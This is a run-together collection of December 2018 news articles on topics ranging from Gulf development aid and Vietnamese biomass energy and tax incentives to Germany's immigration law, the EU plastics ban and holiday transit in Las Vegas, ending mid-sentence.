allocated a government grant worth US$50 million (AED184 million) to support the Chadian government in achieving its development goals. ABU DHABI, (UrduPoint / Pakistan Point News / WAM - 20th Dec, 2018) Abu Dhabi Fund for Development (ADFD), the leading national entity for development aid, today allocated a government grant worth US$50 million (AED184 million) to support the Chadian government in achieving its development goals. The funding will contribute to driving financial stability in the Central African country and fuel the growth of key sectors. The funding includes the financing of technical and economic studies for the development of water resources for various uses, livestock and agricultural developments, as well as supporting development projects outlined within the general budget of Chad. Mohammed Saif Al Suwaidi, Director General of ADFD, Ahmed Alkhoudar Ali Fadel, Chadian State Secretary for Finance and Budget, and Zakaria Idriss Deby, Chadian Ambassador to the UAE, signed a Memorandum of Understanding outlining the terms of the funding at the headquarters of the Fund. Senior representatives of the two entities also attended the signing ceremony. Speaking on the occasion, Al Suwaidi, said: "The UAE and Chad have enjoyed strategic bilateral ties, strengthened by constructive cooperation and participation in crucial strategic relations. ADFD is proud to play an instrumental role in contributing to these efforts." He added: "The US$50 million will facilitate the Chadian government in achieving its national development plan. The new funding commitment reinforces our keenness in helping the Government of Chad in elevating the standards of living of its people, especially through supporting the development of water resources for various uses including agriculture and rearing livestock. " Al Suwaidi concluded: "We look forward to further constructive cooperation with the Chadian government, particularly in financing development projects that are in line with their national agenda. Moreover, within the framework of its outlined strategy and objectives, the Fund is ready to study and fund projects that contribute to the economic and social development of Chad." For his part, Ahmed Alkhoudar Ali Fadel, praised the collaboration between the UAE and Chad, noting the UAE leaderships strong commitment to bolstering cooperation. He also commended ADFDs prominent role in administering concessionary loans and managing development projects on behalf of the Abu Dhabi Government in Africa and across the globe. He added that the Government of Chad is eager to strengthen collaboration with the UAE and ADFD in promoting sustainable development in his country. Since its inception in 1971, ADFD has financed development projects in more than 88 countries across the globe, including 40 African nations, to the tune of AED83 billion through concessionary loans and Abu Dhabi government grants. The Funds total expenditure in Africa amounts to an estimated AED 20 billion. (@ChaudhryMAli88) Bahrain welcomes Malaysia's strong interest in the island country's construction industry, the Malaysia External Trade Development Corporation (MATRADE) said. KUALA LUMPUR, (APP - UrduPoint / Pakistan Point News - 20th Dec, 2018 ) :Bahrain welcomes Malaysia's strong interest in the island country's construction industry, the Malaysia External Trade Development Corporation (MATRADE) said. This was attested by Bahrain's Minister of Housing Bassim Yaqoub Al- Hamr during MATRADE's Export Acceleration Mission for the Services Sector to the kingdom from December 9 to 13. Bassim looks forwards to forging partnership with Malaysia by fostering closer engagement between the government of both countries. He also invited Malaysian companies to form partnerships with Bahraini developers to undertake government-related projects, especially public housing in the kingdom, MATRADE, the national trade promotion agency said in a statement Thursday. The mission was led by MATRADE Deputy Chief Executive Officer Wan Latiff Wan Musa. MATRADE said Bahrain's construction industry has a strong focus on transportation and industrial infrastructure, as well as the construction of tens of thousands of affordable housing units. "These developments are expected to be among the key drivers of growth for the sector in the near future, with much of this coming from government-backed projects," it said. MATRADE said Bahraini strong real estate growth continued with a number of residential, commercial and hospitality developments coming on stream into the new year 2019 and onwards. "Malaysian construction companies are well qualified and highly experienced. This will serve as strong credentials to be given the opportunity to participate in the construction of social housing projects in Bahrain," it said. MATRADE said the mission also attended roundtable meetings with Bahraini companies and held meetings with key organisations such as the Ministry of Housing, Bahrain Economic Development board, Urban Planning and Development Authority, Bahrain Society of Engineers, and Bahrain ASEAN business Council. "Some of the key projects under discussion were an immediate parcel of 400 of 3,300 housing units in a township in West Manama," it said. It added that the Bahraini government planned to build 40,000 public housing units throughout the country during the 2015-2020 period. The MATRADE delegation also attended the fifth Arab Housing Conference on Dec 11 and 12 involving 21 Arab countries where Malaysia was the only non-Arab country taking part. It dwelled on policy initiatives for public housing in the Arab World. (@ChaudhryMAli88) The Russian side insists on conducting an investigation of November chemical attacks in Syria's Aleppo, and Damascus is ready to provide security guarantees to the Organisation for the Prohibition of Chemical Weapons (OPCW) experts, Russian Foreign Ministry spokeswoman Maria Zakharova said Wednesday. MOSCOW (UrduPoint News / Sputnik - 19th December, 2018) The Russian side insists on conducting an investigation of November chemical attacks in Syria 's Aleppo , and Damascus is ready to provide security guarantees to the Organisation for the Prohibition of Chemical Weapons (OPCW) experts, Russian Foreign Ministry spokeswoman Maria Zakharova said Wednesday. "There was a situation where, on the one hand, evidence that the crime was committed by militants has already been provided by Syrian officials, on the other hand, from the high-ranking officials of several Western countries we hear that the incident in Aleppo on November 24 was allegedly organized by Damascus, and almost with Russian participation, to create a situation in which it was possible to discredit the opposition. This once again demonstrates the need for the most thorough and comprehensive investigation to be carried out urgently and precisely at the site of the chemical incident, and not remotely, as is often done," she said at a briefing. On November 24, militants fired reportedly chlorine-filled shells at two neighborhoods of Aleppo al-Khalidiye and Al Zahraa along with the Nile Street. People were hospitalized with asphyxiation and other symptoms typical for poisoning. According to local media reports, 107 civilians have been hospitalized. Following the attack, Russian military chemists arrived in Aleppo to monitor the situation. The Russian Defense Ministry said that 46 people, including eight children, were injured in the chemical attack. The ministry stressed that the Russian side had previously drawn attention to the fact that the White Helmets organization was trying to organize provocations using chemical agents against the local population in the demilitarized zone around Syria's Idlib. The Bishops of Madagascar call for wisdom, maturity and a sense of duty as voters go to the polls in a presidential run-off in the African island nation. Voters began casting their ballots early on Wednesday morning in this run off vote which will decide the next president of Madagascar. The two men looking to lead the country are both formers presidents. Marc Ravalomanana was elected in 2002, but was ousted in 2009 after protests led by Andry Rajoelina, who assumed the role of president. Truth and transparency As the country goes to the ballot box, the Bishops Conference of Madagascar in a statement have called for wisdom, maturity and a sense of duty. "To go to the polls is a duty for every citizen, the Bishops say, adding, "for this reason, we urge all those who can to actively participate in the second round of the election, and to make a free choice, according to conscience". The Bishops also call on the representatives of all institutions to "do everything possible to promote truth and transparency in the management of election results in the interests of credibility and peace. Calm and peaceful vote To the challengers themselves, the statement asks both men to implement the concept of "Fihavanana", a Malagasy word that encompasses the idea of closeness, friendship and mutual respect, stressing the importance of maintaining calm during the vote and accepting with humility the outcome of the election. A President for all the people The Madagascar Bishops underline the importance of having a new president who is a reconciler and reunifier and one who will be a leader of to all the people in the country. Officials say that nearly 20,000 personnel from the defence and security forces have been deployed throughout the country, to ensure the security of the election. Results of the vote should be known before the end of the year. With close to 6,000 Central Americans now in Tijuana, Mexico, the wider community organizes to provide basic necessities and a long-term plan. By Sr Bernadette Mary Reis, fsp People living around Tijuana, Mexico are grappling with an unprecedented influx of migrants. The number of Central American migrants now at the shelter is estimated at 6,000. Fr Jesse Esqueda, an Oblate of Mary Immaculate (OMI) from the US Province, heads the Oblate Mission near La Morita, just outside of Tijuana. In an interview with Vatican News, he explains the particular services the Oblates and the wider community are providing. The Oblate Mission For three weeks, the Oblates have been offering basic necessities to a group of 18 of the migrants at their Youth Centre. We have provided shelter, meals, clothing, lawyersso they can look at each of them if they have a case for asylum or even seeking residency in Mexicoand then jobs, Fr Esqueda said. On Tuesday, the Oblates found four places for rent. We thought it was better for them to be a bit more independent, the priest said. They have also found them jobs so that they can pay for their rent. We are still providing them with food and any other type of needs that they have, he said. Outpouring of help Fr Esqueda said that Catholic Charities is organizing the collection of supplies for the camp providing shelter for the rest of the close to 6,000 Central American migrants. Many people in the Tijuana area are dropping off blankets, water and food there. However, with 5,000 people its difficult for a lot of them to stand in line for hours to get food. So, many people on their own are actually cooking a meal and then they go and they open up their car and from their car they distribute food. Weve done that. We prepared a hundred meals the other day and we took that. So people lined up and we give them a warm plate of food. Listen to our interview with Fr Jesse Esqueda, OMI Short-term becomes long-term Fr Esqueda described the overall situation as uncomfortable. Over 5,000 people need showers, bathrooms, food, he said. Thats going to be a problem. Right now everyones energy is focusing on providing for the emergency situation which might become more long term, Fr Esqueda explained. Some are beginning to plan for the long-term situation, including providing the children with education. The Oblates are already beginning to provide English and other classes for children at their clinic. Having already found lodging and jobs for the group they are working with more closely, Fr Esqueda is hopeful that they will be able to share with other groups what they have found works well or perhaps do that with another group. The Regional Transportation Commission of Southern Nevada (RTC) will offer free rides on all 39 fixed routes starting at 6 p.m. on New Years Eve and ending at 9 a.m. on New Years Day. Riders can simply board any fixed route vehicle without purchasing or presenting fare. The free rides extend to express services between park-and-ride facilities and Downtown Las Vegas. Riders should note and plan for extensive transit detours to be in place on New Years Eve. Those celebrating New Years Eve downtown can avoid the holiday traffic with RTCs express service. The Centennial Hills (7313 Grand Montecito Parkway) and Westcliff (25 S. Durango Drive) park-and-ride facilities feature express service to and from Downtown Las Vegas with buses departing every 20 minutes via the Centennial Express (CX) and the Westcliff Airport Express (WAX) from 6 p.m. New Years Eve to 4 a.m. New Years Day. In addition to RTCs usual 13 24-hour routes, several other routes will operate at an extended or 24-hour service on New Years Eve into New Years Day, making much of the Las Vegas Valley accessible with 24-hour transit. For complete detour and route details, visit rtcsnv.com. Riders should also note that the RTC transit system will operate on alternate schedules during the upcoming Christmas and New Years holidays. On Christmas Eve, Monday, Dec. 24, 2018, routes will operate on a Saturday schedule. Routes will operate on a Sunday schedule on both Christmas Day, Tuesday, Dec. 25, 2018, and New Years Day, Tuesday, Jan. 1, 2019. Customers have the ability to plan their trips, buy their passes and find their buses or bus stop through the rideRTC smartphone app. New features to rideRTC now allow customers to report suspicious activity or to incorporate other modes of transportation, like ride-hailing via Uber or Lyft, into their trips. Riders can easily download the free app via the Google Play or Apple app stores. With the app, riders have all the information they need to take public transit where they want right at their fingertips. Cheers to the New Year! Aquarius Casino Resort in Laughlin, Nev.,will count down to 2019 with a selection of celebratory offerings including parties, dining specials, travel packages and more on Monday, Dec. 31. Dance the night away at the resorts New Years Eve dance party hosted in the Aquarius Pavilion featuring live music, party favors and a champagne toast at midnight. The celebration will begin at 10:30 p.m. on Monday, Dec. 31 and is open to all guests. The resorts lounge, Splash, will count down to midnight with a celebration open to the public. Guests will enjoy live music performed by Chase and The Pursuit, party favors and a champagne toast, as the clock strikes midnight. Festive party favors and a champagne will be distributed to guests on the on the casino floor just before a property-wide balloon drop at midnight. Cafe Aquarius will offer a New Years Eve surf and turf dinner featuring a 16-ounce T-Bone steak and breaded shrimp served with bread and butter, salad, a seasonal vegetable medley, potatoes and dessert. The dinner will be available from 4 p.m. to midnight and is priced at $29.99 for nonmembers or $26.99 for ace|PLAY TM members. The Vineyard will offer a decadent four-course dinner with choice of blackened shrimp cocktail or oysters Rockefeller for an appetizer; choice of lobster bisque soup or citrus walnut salad for the second course; choice of toasted pine nut and herb crusted fillet with a sundried tomato bearnaise sauce, crab stuffed orange roughy with bearnaise sauce, or smoked herbed crusted turkey with bourbon cranberry glaze for the entree. Guests may choose between Raspberry torte or chocolate elegance cake for dessert. The holiday dinner is priced at $41.99 for nonmembers or $37.79 for ace|PLAY TM members. Across the casino, Windows on the River Buffet will feature a holiday spread of its own. In addition to classic buffet offerings, the restaurant will feature an assortment of specialty selections for the holiday including prime rib, fresh blackened salmon, steamed clams and mussels, oysters Rockefeller, hot and cold crab legs, pork loin marsala, broiled New York steak, sea bass with lemon Beurre blanc and more. The dinner buffet will be available from 3:30 to 9 p.m. and will be priced at $30 for nonmembers, $27 for ace|PLAY TM blue members, $22.50 for ace|PLAY TM orange, green and red card members. Vietnam has immense potential for developing biomass-based energy from sugar-cane Photo: Le Toan As is the case with other renewable energy projects in Vietnam, the current power purchase agreement (PPA) for biomass energy is considered by many investors, banks and developers as non-bankable. Several key issues related to the PPA include: - Sole off-taker: Electricity of Vietnam (EVN) is the only buyer of electricity which would impact the PPA bankability given EVNs low creditworthiness. This is a key issue for many international financiers because of the associated risks. Though domestic funders have a higher risk tolerance for EVNs rating, it still results in higher costs. - Dispute resolution: Lack of provision for international arbitration on a neutral forum. - Term: 20 years without extension rights. - Grid connection: Electricity sellers to bear the risks and costs of connecting the power plants to the grid. - Termination rights: Lacks details and specific terms on termination rights. Adam Ward, country representative for Vietnam of the Global Green Growth Institute (GGGI), told VIR that GGGI and Germanys GIZ are calling on the Vietnamese government to apply and increase the feed-in-tariff (FiT) for all biomass energy technologies to 9.35 US cents per kilowatt-hour (kWh) from the current 5.8 US cents per kWh. The current FiT at 5.8 US cents per kWh is insufficient to capture the potential 737 megawatts of biomass energy capacity in the sugar industry, according to Ward. At this rate, no further capacity is estimated to be economically viable to be added to the existing 352MW of installed capacity. Compared with neighbouring countries in the region, the FiT levels for biomass energy in Vietnam are considerably lower, less than half of Thailand at 13 US cents and the Philippines at 12.4 US cents, Ward said. He noted that the government should also revise the current power purchase agreement (PPA) to address the issues of dispute resolution, extension rights, grid connections and termination rights to increase attractiveness to investors (see box). If Vietnam raises the FiT and revises the PPA, I am 100 per cent certain that more foreign investors will be willing to put money into this industry, Ward said. During the past two years we have worked with five sugar companies across Vietnam to assess their feasibility to generate additional power for the grid, they are all keen to do so, he said. We also discussed with international investors and they expressed their interest to invest. But the economics dont stack up now the number one issue is the low FiT, and the second-biggest issue that international investors tell us is the current conditions in the PPA. The international investors interested in renewable energy projects are plentiful, such as PIDG, ADB, the World Bank, GCF, FinnFund, K-EXIM Bank, not to mention large domestic and international banks that would all be interested if these policy changes were made, he continued. The GGGI and GIZ last week launched a landmark report which builds on the work conducted with five sugar mills across Vietnam including Lam Son, Nghe An, Dak Lak, Phung Hiep, and Vi Thanh. The results showed that Vietnams sugar industry can utilise bagasse waste from crushed sugarcane together with other sources of biomass like wood chips, rice straw and rice husks to generate much-needed electricity in a carbon-neutral way. There are currently 41 sugar mills in Vietnam generating more than $1 billion in revenue, contributing at least 0.53 per cent of GDP. The total energy production could reach 4,300 gigawatt-hours (GWh) per year, which is enough to power 630,000 households. If fully realised, the biomass industry could be a game-changer for Vietnams energy sector. Vietnam has huge untapped potential for biomass energy, and with some changes in policy, we can see 737MW of clean energy resulting in significant carbon dioxide (CO2) emission reductions, Ward said. Under the report, the sugar industry could generate an additional 2,180 green jobs and reduce about 2.7 million tonnes of CO2 emissions a year, tantamount to 7 per cent of Ho Chi Minh Citys greenhouse gas emissions in 2013. This will help Vietnam decrease reliance on coal power, meet the Paris Agreement commitments, implement the United Nations Sustainable Development Goals, and increase the income of farmers. The Vietnam Sugarcane and Sugar Association (VSSA) welcomed the study and urged the government to raise the FiT for biomass energy to $9.35 US cents per kWh. There are great benefits from exploiting the potential of the sugar industry that can contribute energy during the low season and national security as well as create revenue and competition, said VSSA chairman Pham Quoc Doanh. It will also bring jobs and greater income for the industry, and a reduction in CO2 emissions. According to Vietnams revised Power Development Plan VII, installed capacity of renewable energy is planned to reach 12GW by 2025 and 27GW by 2030, representing 21 per cent of total planned capacity. At this target, renewable energy is planned to reach 11 per cent of total electricity production by 2030 including relatively equal contributions by biomass and wind at 2.1 per cent each and solar at 3.3 per cent. Compared to other Southeast Asian nations, Vietnams installed capacity for biomass energy is low, at only 352MW, with Thailand at 3.3GW and Indonesia at 1.7GW. Thailand has been leading in biomass energy thanks to abundant resources, available grid connection and favourable policies. In a survey conducted by recruiters Navigos Group Vietnam with more than 200 domestic and foreign businesses and over 3,200 candidates, 81 per cent of candidates and 86 per cent of employers said their companies had implemented up to 70 per cent of automated manufacturing processes. On shifting to automation, both candidates and employers agreed that new technologies of the 4.0 era had made a positive impact. Common answers included automation increases labour productivity and automation is inevitable for manufacturing firms. Around 65 per cent of employers surveyed invest in machines, 44 per cent have made changes in management and operations, 41 per cent have invested in data systems, 39 per cent equipped employees with new skills, and 21 per cent have employed candidates with relevant knowledge. Nguyen Tao Chuyen, director of NTC Vietnam JSC in Hanoi, told VIR that he recently spent $100,000 on new software on corporate administration, and the same sum on installing a modern US-style production chain to package fruit and vegetables, the companys key products. Sooner or later we have to invest in these things if we want to succeed, Chuyen said. Investment will help us save about 30 per cent of working time and a great deal of production costs. Kobayashi Ryutaro, senior representative of the Vietnam Office of the Japan International Co-operation Agency (JICA), told VIR, More investment into automation and skills will help improve competitiveness and productivity of Vietnamese businesses in particular and of the whole Vietnamese economy in general. According to the General Statistics Office, the economys labour productivity rose by 5.29 per cent in 2016 and 6 per cent last year. As the recipient of foreign direct investment (FDI) from manufacturing nations such as Japan and South Korea, Vietnam has great opportunities to catch onto leading trends of the era including digitalisation and automation, said Gaku Echizenya, chairman and CEO of Navigos Group Vietnam. At the same time, 4.0 technologies present new obstacles for businesses to improve our manpower. According to Echizenya, manufacturing in Vietnam has remained one of the leading industries with highest potential for economic growth. However, unless action is taken to incorporate new tech, the country risks losing its attractive profile. The Navigos survey revealed that blue-collar workers are most affected by automation. Some 70 per cent of both candidates and employers believed automation would strongly affect these workers. Two months ago, the World Economic Forum launched a survey of 64,000 citizens of the ASEAN, including 11,000 from Vietnam, on how tech will impact the youth. The rate of Vietnamese youth believing that technology would increase the number of jobs is 51.5 per cent, lower than the 54 per cent in Indonesia and 60.3 per cent in the Philippines (see chart). About 1.6 million new people enter Vietnams domestic labour market each year, a big burden for the government to provide sufficient employment. This is expected to grow further when Industry 4.0 rises, with robots and hi-tech believed to replace a great deal of workers, especially manual labourers. Ousmane Dione, the World Banks country director for Vietnam, said, Over the past two decades, Vietnam has successfully inserted itself into select global value chains while achieving a remarkable reduction in poverty. In the years ahead, disruptive technologies will present both challenges and opportunities for remaining on this successful trajectory. File photo of a man carrying a plastic bag. (Photo: AFP/FREDERIC J BROWN) The new rules, which still need final approval before becoming law, target the top 10 items most frequently found littering European beaches. Plastic cotton bud sticks and expanded polystyrene food containers are also barred, as the EU tries to cut back on products that account for huge quantities of waste in the world's oceans. Officials from the parliament and the EU Council, which represents the bloc's member states, negotiated through the night, finally reaching a deal on Wednesday morning after 12 and a half hours of wrangling. "Where possible, the measures laid down in this directive and their implementation should give priority to waste prevention or to the transition to reusable products rather than to other single-use alternatives," the council said in a statement. In a measure of the gravity of the ocean plastics crisis, the legislation has been rushed through the EU's normally sluggish procedures in quick time. The EU hopes to complete the final legal steps to bring the new rules into force in 2021. The European Commission has said single-use plastics account for some 70 per cent of the waste in the oceans and beaches, and research in October appeared to show for the first time the widespread presence of plastics in the human food chain. Ten silk producers and 11 fashion designers will attend the event, which aims to mark 125th founding anniversary of the city of thousand flowers. The silk and brocaded designs will be on catwalk by 50 models from Hanoi and Ho Chi Minh City, 40 local students and some ethnic amateur models. According to designer Minh Hanh, besides excellent fruits and tourism products, Lam Dong province should work more to promote its Bao Loc silk, and brocade clothes of ethnic minority groups in the locality. As a spearheaded production sector of Bao Loc city and several parts of Lam Dong, sericulture has generated jobs for thousands of workers. Vice Chairman of the Bao Loc city Peoples Committee Doan Kim Dinh said that the province has 10,000 hectares of land under mulberry cultivation, and a productivity of some 12,000-15,000 tonnes of cocoons, meeting the demand on material for local enterprises. In 2018, local businesses produced more than 1,000 tonnes of yarn, up to 980 tonnes of which was made in Bao Loc city. Present in many countries, Bao Loc silk is used to make Kimonos, scarfs and luxury cars interior, he added. Germany's booming economy is short of workers. (Photo: AFP/Fred Tanneau) Germany's first ever immigration law, to be agreed by Chancellor Angela Merkel's cabinet on Wednesday (Dec 19), is eagerly anticipated by industries. But the law, which will have to be put to parliament, risks opening new fault lines in a country already deeply split over a record influx of more than a million mostly Muslim refugees and migrants since 2015. The German Trade Union Confederation has also warned that the eased access could lead to salary dumping and exploitation of foreign workers. Under the planned relaxed rules, jobseekers from outside the EU - including, for example, cooks, metallurgy workers or IT technicians - would be allowed to come to Germany for six months to try and find employment, provided they speak German and can financially support themselves. More controversial has been a plan to allow migrants already in Germany who are awaiting decisions on their asylum applications to stay if they are gainfully employed and can show they have joined the fabric of German society. Following an outcry from the more conservative wing of Merkel's CDU party, it was unclear whether ministers would water down elements of the draft proposal, especially on the issue of employment for rejected asylum seekers. Julia Kloeckner, a heavyweight in the CDU party, has warned amid a heated debate that this part of the package could create "a wrong incentive" for more people to try to get to Germany. "PRAGMATIC SOLUTION" German industry and employment leaders however wrote in a letter to Interior Minister Horst Seehofer that "attempts to essentially water down the planned rules in the draft law endanger the aim of a targeted and necessary migration of workers". Some 60 per cent of companies see a worker shortage as a risk for the development of their businesses, according to the letter, which added that the number of unfilled apprenticeship posts surpasses the 33,000 applications that are still being processed. Immigration has become a hot potato issue in recent years over the record influx of migrants, many fleeing war in Iraq or Syria. Railing against the newcomers, the far-right AfD has become Germany's biggest opposition party. But Germany is also anxious to not leave thousands of migrants - who may spend years waiting on a final decision on their asylum claims or deportation - idle and susceptible to taking on jobs in the black market. The government ministers had stressed that the new immigration rules are not designed to allow failed asylum applicants to win residency in Germany by switching over to become employment migrants. Rather the new rules are aimed at providing a "pragmatic solution" for migrants who, for instance, have been in Germany for a protracted period because they cannot be deported if they face the risk of torture in their country of origin. With unemployment at a record low since Germany's 1990 reunification, companies in Europe's biggest economy have been complaining that a chronic shortage in workers is threatening growth. In the areas of mathematics, computing, natural sciences and technology, a record 338,200 jobs went unfilled in September, according to data from the Cologne-based German Economic Institute. Economy Minister Peter Altmaier had said the new rules will especially help Germany's small-and-medium sized companies, "which in the past have suffered as they are in competition with big companies that have poached the well-trained people". Le Thanh Liem, deputy chairman of the HCM City Peoples Committee, speaks at a roundtable between HCM City leaders and Japanese businesses on December 18.-VNS Photo Xuan Huong Speaking at a roundtable discussion between the city administration and the Japanese business community yesterday, Deputy Chairman Le Thanh Liem said Japan was one of the citys important partners in several fields. As of last November it was the fifth largest foreign investor in the city with 1,247 ongoing projects worth a total of nearly US$4.2 billion, he said. This figure is very impressive but still not commensurate with the potential and strategic partnership of the two countries. The roundtable has been held annually for the past 17 years to facilitate direct dialogue between Japanese entrepreneurs and city authorities, a testament to the citys desire to resolve difficulties faced by foreign investors in general and Japanese firms in particular, he said. The results of the roundtable discussions and efforts to improve the investment climate by the city would enhance the confidence of the Japanese business community in the city administration. Takahisa Onose, chief of the finance-tax and customs committee at the Japanese Chamber of Commerce and Industry in HCM City (JCCH), said the city had made significant improvements in customs and tax procedures, helping businesses save cost and time. Last month at a dialogue between the JCCH and the city customs department, the head of the latter presented new policies and promised to further simplify customs procedures, he said. Pham Thiet Hoa, director of the Investment and Trade Promotion of HCM City (ITPC), said to prepare for the event the ITPC had been working with the JCCH since June to find out what difficulties Japanese firms face. The roundtable organisers gathered 38 questions related to four fields: environment - life; law - labour; tax; and customs. Between October 29 to November 1 the ITPC co-ordinated with 19 departments and agencies and held meetings with the JCCH to answer 34 of the questions. The remaining relate to a decree guiding the Environmental Law, water quality audit, noise pollution, and social insurance for foreign workers, and would be clarified at the roundtable, Hoa said. Kawaue Junichi, Japans consul general in HCM City, appreciated the citys efforts to improve its investment environment. With its consistent politics, abundant human resources and improving infrastructure, Viet Nam had attracted more and more Japanese investors, who are investing in various sectors, he said. A survey done by the Japan External Trade Organization has found that Japanese firms are happy with the citys tax and customs environment and its investment environment in particular and Viet Nams in general. Many of them plan to expand. Investment by Japanese firms in Viet Nam and HCM City in particular will increase in the coming time, Onose said. He said many Japanese firms were moving their factories from China to other countries including Viet Nam even before the US-China trade tension. Viet Nam should quickly improve its investment environment further to attract this wave of investment. Restriction in applying tax incentives by enterprises and how to optimise benefits from tax incentives Tax incentives are applied in the form of preferential duration of corporate income tax (CIT) exemption (tax holiday), CIT reduction, preferential CIT rates, exemption or reduction of import tax on goods imported as fixed assets, raw materials, supplies, and parts used for the project, and exemption or reduction of land rental and land use tax, among others. The Investment Law regulates investment incentives and tax laws regulate CIT incentives. To be entitled to tax incentives, the enterprises and the projects need to meet the conditions stipulated in both laws. However, it could be very damaging if the investor incorrectly determined the incentives applying to their business. Conditions to apply CIT incentives Upon satisfying the criteria of location and/or sectors and/or scales to be entitled to CIT incentives, during the incentive enjoyment period, enterprises have to comply with the following regulations under current tax laws in order to apply CIT incentives properly. CIT incentives are applied to enterprises that properly follow the regime of accounting and invoicing, and fulfilment of tax obligations according to their declarations. Enterprises must separate incomes generated by the activities eligible for tax incentives from incomes generated by activities not eligible for tax incentives. In the event the incomes cannot be separated, the incomes from activities entitled to tax incentives will be determined based on the ratio of revenue generated by activities eligible for tax incentives to total revenue of the enterprise. Tax incentives are not applied to: Incomes from transfer of capital, transfer of right to contribute capital; incomes from transfer of real estates, except for social houses; incomes from transfer of investment projects, transfer of right to participate in investment projects, transfer of right to explore and exploit minerals; incomes from overseas business activities; Incomes from the exploration and exploitation of petroleum and other precious rare natural resources, and incomes from mineral exploitation; Incomes from services subject to special sales tax; Other cases decided by the government. If an enterprise is eligible for multiple tax incentives applied to the same income at the same time, it may choose the most advantageous incentive. Additionally, it is crucial to note that CIT incentives given for new investment projects are not applied to enterprises established by splitting, separation, merger or transformation of enterprises, change of ownership, and other cases according to law. Inconsistent regulations on tax incentives between different competent authorities The (i) differences in regulations promulgated by different laws, issued by different levels of authorities and (ii) different points in time of issuing and applying the guidelines (e.g. different effective dates of different laws and regulations), can confuse investors in determining the correct tax incentives in specific periods and can even trigger potential risks if they incorrectly determine tax incentives applied to their businesses. 1. Inconsistent regulations on assurance of business investment upon changes of laws by different competent authorities: The Investment Law issued by the National Assembly, effective from July 1, 2015; Decree No.118/2015/ND-CP issued by the government, effective from December 27, 2015; and Circular No.83/2016/TT-BTC issued by the Ministry of Finance, effective from August 1, 2016. The Investment Law issued by the National Assembly (effective from July 1, 2015) and Decree No.118/2015/ND-CP issued by the government (effective from December 27, 2015) both had regulations on assurance of business investment upon changes of laws. In particular, for projects granted an investment certificate before July 1, 2015 enjoying tax incentives under the regulations effective before July 1, 2015, where a new law comes into effect providing more or less favourable investment incentives than those currently enjoyed by the investors, the investors have the right to choose the best incentives to apply for the remaining incentive enjoyment period of the projects. Meanwhile, Circular No.83/2016/TT-BTC issued by the Ministry of Finance (MoF) on June 17, 2016 outlines a different incentive regime from the above regulations. Specifically, determination of incentives applied to investment projects granted investment certificates before July 1, 2015 will still be based on tax incentive policies (CIT, import tax or non-agricultural land use tax) in accordance with regulations issued before July 1, 2015 and still in effect. This means that if the incentives according to new laws bring more benefits, the investors cannot apply the best ones for the remaining period of their project. It took two years until the MoF issued Circular No.81/2018/TT-BTC on August 28, 2018 amending Circular No.83/2016/TT-BTC by adding the regulation on assurance of business investment upon changes of laws in order to ensure the regime of more favourable incentives during the remaining incentive enjoyment period for the projects licensed before July 1, 2015. This supplemental regulation of Circular No.81/2018/TT-BTC is to solve the conflicts between Decree No.118/2015/ND-CP and Circular No.83/2016/TT-BTC as mentioned above. 2. Inconsistency in determining encouraged business lines and sectors eligible for CIT incentives by different competent authorities: The Investment Law and Decree No.118/2015/ND-CP mentioned incentives applying to encouraged business lines whereas the Tax Law and Decree No.218/2013/ND-CP mentioned incentives applied to the encouraged sectors. For further details, some business lines included in the list of business lines entitled to investment incentives under the Investment Law and Decree No.118/2015/ND-CP are not entitled to CIT incentives in reality, as they are not included in encouraged sectors entitled to tax incentives under the Tax Law and its relevant Decree No.218/2013/ND-CP, e.g. rescue services at sea; production of petrochemical products, pharmaceutical-chemical products, technical plastic rubber components; ship-building; production of materials to replace asbestos; investment in operation of exhibition centres, logistics centres, warehouses, supermarkets, shopping malls. 3. Inconsistency in determining encouraged locations to be entitled to CIT incentives by different competent authorities: The Investment Law and its relevant Decree No.118/2015/ND-CP provided a list of locations eligible for investment incentives, including all industrial parks and export-processing zones established under government regulations (regarded as difficult socioeconomic areas). Meanwhile, the Law on CIT and its relevant Decree No.218/2013/ND-CP on CIT incentives provided a list of locations entitled to CIT incentives, including provinces and towns regarded as difficult socioeconomic areas. Accordingly, the industrial parks and export-processing zones mentioned in the list attached to the Investment Law and Decree 218 but not located in provinces and towns regarded as difficult socioeconomic areas according to the tax laws and tax regulations are not entitled to CIT incentives. 4. Inconsistency in defining new projects and business expansion projects to be entitled to CIT incentives by different competent authorities: According to the Investment Law, when a project was granted an investment registration certificate (IRC), the investment incentives, legal bases, and conditions for investment incentives must be indicated on the IRC. However, the policies on the investment incentives of the government prior to 2014 have different regulations between the Investment Law and Tax Law. To be specific, investment regulations encouraged investment activities through new projects, whilst CIT regulations distinguished between tax incentives applied to newly-established enterprises from new projects and tax incentives applied to new projects considered as a kind of investment expansion. Additionally, CIT incentives given to business expansion projects had been invalid during 2009-2013 under tax regulations. The above inconsistency results in difficulty and potential risks for enterprises in applying correct tax incentives to their businesses. Suntory PepsiCo Vietnam Beverage Company (PepsiCo) as mentioned in Official Letter No.5311/BTC-TCT dated April 22, 2015 issued by the MoF to the Ministry of Planning and Investment (MPI) had been subject to tax exposures when the different regulations between the Investment Law and the Law on CIT lead to different CIT incentives applied to the company determined by different competent authorities, including the MoF and the MPI. Particularly, CIT incentives determined by the MoF are less favourable for the company compared to the incentives determined by the MPI as follows: According to the investment certificate of PepsiCos Branch issued by Can Tho Export Processing and Industrial Zones Management Authority (Can Tho EPIZA) in 2008, PepsiCos Branch was entitled to CIT incentives as a new investment project (CIT rate of 15 per cent for 12 years from launch, CIT exemption for next 3 years, and 50 per cent CIT reduction in the next 7 years). However, in 2012, per the result of a tax audit by the General Department of Taxation (GDT), PepsiCos Branch was not entitled to this CIT incentive as a new project, and was given different CIT incentives instead, on additional income earned from investment expansion as a business expansion project (e.g. CIT exemption in 3 years and 50 per cent CIT reduction in the next 5 years). PepsiCo issued an official explanation to clarify that the company applied CIT incentives in compliance with its investment certificate granted by the Can Tho EPIZA. The Can Tho Peoples Committee also sent an official letter to the MoF and the MPI to request these authorities to consider the case of PepsiCo and authorise PepsiCo to enjoy the tax incentives indicated on its investment certificate issued in 2008. However, on May 9, 2017, the MoF issued Official Letter No.5972 stating the final decision on the case of PepsiCo. Accordingly, the MoF re-affirmed that PepsiCo is only entitled to tax incentives as a business expansion project and therefore has to fulfil tax claw-back, penalties, and interests with the total amount of roughly VND21.5 billion ($0.94 million). 5. When the Tax Law changes, there will be accompanying changes in regulations on tax incentives that might make enterprises confused about adjusting the incentives applied to their business properly and timely whilst their IRC is still in effect. Additionally, the irregular updating of tax knowledge and regulations might cause enterprises to apply incorrect/outdated tax incentives. Risks in incorrect determination of CIT incentives CIT incentives bring benefits to enterprises by reducing costs and leaving capital for development. However, by the incorrect 